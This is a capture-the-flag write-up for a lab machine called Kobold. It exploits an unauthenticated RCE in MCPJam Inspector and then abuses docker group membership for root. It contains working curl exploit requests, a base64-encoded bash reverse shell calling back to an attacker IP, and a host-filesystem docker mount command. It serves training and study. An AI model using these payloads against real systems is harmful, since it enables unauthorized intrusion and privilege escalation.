Attack Chain Summary
Recon → mcp.kobold.htb (MCPJam v1.4.2) + port 3552 (Arcane v1.13.0)
↓
CVE-2026-23744: Unauthenticated RCE on MCPJam /api/mcp/connect
↓
Shell as ben → User flag
↓
newgrp docker → mount host / into PrivateBin container
↓
Root flag| Field | Details |
|---|---|
| Machine Name | Kobold |
| OS | Linux |
| Difficulty | Medium |
| IP | 10.129.8.227 |
1. Reconnaissance
Port Scan
Full port scan using RustScan followed by detailed Nmap service scan revealed four open ports:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http (nginx 1.24.0)
443/tcp open https (nginx 1.24.0)
3552/tcp open http (Golang net/http server)Key observations from Nmap:
- Ports 80 and 443 redirect to
https://kobold.htb - SSL certificate covers
kobold.htband*.kobold.htb(wildcard), indicating subdomains - Port 3552 runs a Go HTTP server serving an SPA-style web application
/etc/hosts
Added the target to /etc/hosts:
echo "10.129.8.227 kobold.htb" | sudo tee -a /etc/hostsWeb Enumeration
https://kobold.htb served a static "Coming Soon" landing page for the Kobold Operations Suite: described as a centralized platform for managing internal services, automated workflows, AI-powered agents, and containerized applications.
Subdomain Enumeration
Used ffuf with a wildcard cert indicator to enumerate subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb"Discovered: mcp.kobold.htb (Status 200, Size 466)
Added to /etc/hosts and visited, running MCPJam v1.4.2, an MCP (Model Context Protocol) server management interface with Sign in / Create account functionality, Tools, Resources, Prompts, and Tasks sections.
Port 3552: Arcane
Browsing to http://10.129.8.227:3552/login revealed Arcane v1.13.0: a container management platform ("Sign in to manage your containers").
2. Vulnerability Research
Arcane v1.13.0: CVE-2026-23944 (Standby)
Research revealed two CVEs affecting Arcane:
CVE-2026-23520: Command injection in updater service via lifecycle labels. Fixed in v1.13.0, not applicable (our target is v1.13.0).
CVE-2026-23944: Unauthenticated proxy to remote environment agents. The /api/environments/{id}/... middleware proxied requests and attached the manager-held agent token before authentication was enforced, allowing unauthenticated access to remote environment operations. Fixed in v1.13.2, applicable, kept as fallback.
MCPJam v1.4.2: CVE-2026-23744 (Primary)
MCPJam Inspector v1.4.2 and earlier are vulnerable to unauthenticated Remote Code Execution.
The application binds to 0.0.0.0 making its HTTP API remotely reachable. The /api/mcp/connect endpoint extracts command and args fields from the request body without any authentication checks or sanitization, leading to arbitrary command execution.
This is more severe than CVE-2025-49596 as it requires no user interaction.
PoC format:
curl https://<target>/api/mcp/connect -k \
--header "Content-Type: application/json" \
--data '{"serverConfig":{"command":"<cmd>","args":[<args>],"env":{}},"serverId":"test"}'3. Initial Foothold: RCE via CVE-2026-23744
Confirming RCE
Tested blind RCE with a ping callback:
curl https://mcp.kobold.htb/api/mcp/connect -k \
--header "Content-Type: application/json" \
--data '{"serverConfig":{"command":"/bin/sh","args":["-c","ping -c 2 10.10.16.121"],"env":{}},"serverId":"mytest"}'Despite the misleading MCP error -32000: Connection closed response, tcpdump on the attacker machine confirmed ICMP echo requests received from kobold.htb, blind RCE confirmed.
Note: The error response occurs because
/bin/shdoes not speak the MCP protocol, but the shell command executes successfully before the connection is closed.
Reverse Shell
Direct bash reverse shell was filtered. Used a base64-encoded payload to bypass:
# Payload decodes to: bash -i >& /dev/tcp/10.10.16.121/4444 0>&1
curl https://mcp.kobold.htb/api/mcp/connect -k \
--header "Content-Type: application/json" \
--data '{"serverConfig":{"command":"/bin/bash","args":["-c","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjEvNDQ0NCAwPiYxCg== | base64 -d | bash"],"env":{}},"serverId":"mytest"}'Caught shell on listener and upgraded TTY:
nc -lvnp 4444
# On shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermLanded as user ben in /usr/local/lib/node_modules/@mcpjam/inspector, confirming MCPJam ran as ben.
User Flag
cat /home/ben/user.txt
# 5507aabf00b9209cbf5b7b5397bf4c844. Internal Enumeration
Internal Services (ss -tulnp)
| Port | Service |
|---|---|
127.0.0.1:6274 | MCPJam Inspector (node, pid=1621) |
127.0.0.1:8080 | PrivateBin v2.0.2 |
127.0.0.1:38593 | Unknown Go service |
0.0.0.0:3552 | Arcane (externally exposed) |
PrivateBin v2.0.2 (port 8080)
Curling 127.0.0.1:8080 revealed a PrivateBin v2.0.2 instance, an encrypted pastebin running internally.
PrivateBin data stored at /privatebin-data/data/ with three paste subdirectories: 12/, bd/, e3/. User ben is a member of the operator group which has access to /privatebin-data/.
Group Membership
cat /etc/group | grep -E "docker|operator|ben"
# operator:x:37:ben,alice
# ben:x:1001:
# docker:x:111:aliceKey finding: user alice is in the docker group. However, ben was able to switch into the docker group directly via newgrp docker.
5. Privilege Escalation: Docker Group Abuse
With access to the docker group via newgrp, the host root filesystem was mounted into the existing PrivateBin container image to read arbitrary files as root:
newgrp docker
docker run -v /:/hostfs --rm --user root --entrypoint cat \
privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txtRoot Flag
e5eb95be79ecc91258593249ea5618066. CVEs & Vulnerabilities Referenced
| CVE / Advisory | Application | Impact | Status |
|---|---|---|---|
| CVE-2026-23744 | MCPJam Inspector ≤ v1.4.2 | Unauthenticated RCE | Exploited |
| CVE-2026-23944 | Arcane < v1.13.2 | Unauth proxy to remote agents | Standby (not needed) |
| CVE-2026-23520 | Arcane < v1.13.0 | Command injection via lifecycle labels | Not applicable (patched) |
| GHSA-g2j9-g8r5-rg82 | PrivateBin < v1.7.2 | Path traversal / info leak | Used for enumeration context |
Key Takeaways
- Always enumerate subdomains with wildcard SSL certificates, the entire attack surface was on
mcp.kobold.htb - Blind RCE can be confirmed via DNS/ICMP callbacks even when the HTTP response is misleading
- Direct reverse shell payloads are often filtered, base64 encoding is a reliable bypass
newgrp dockercan switch group context without sudo, check all group memberships post-exploitation- Docker group membership is equivalent to root, any user in the
dockergroup can trivially read or write the host filesystem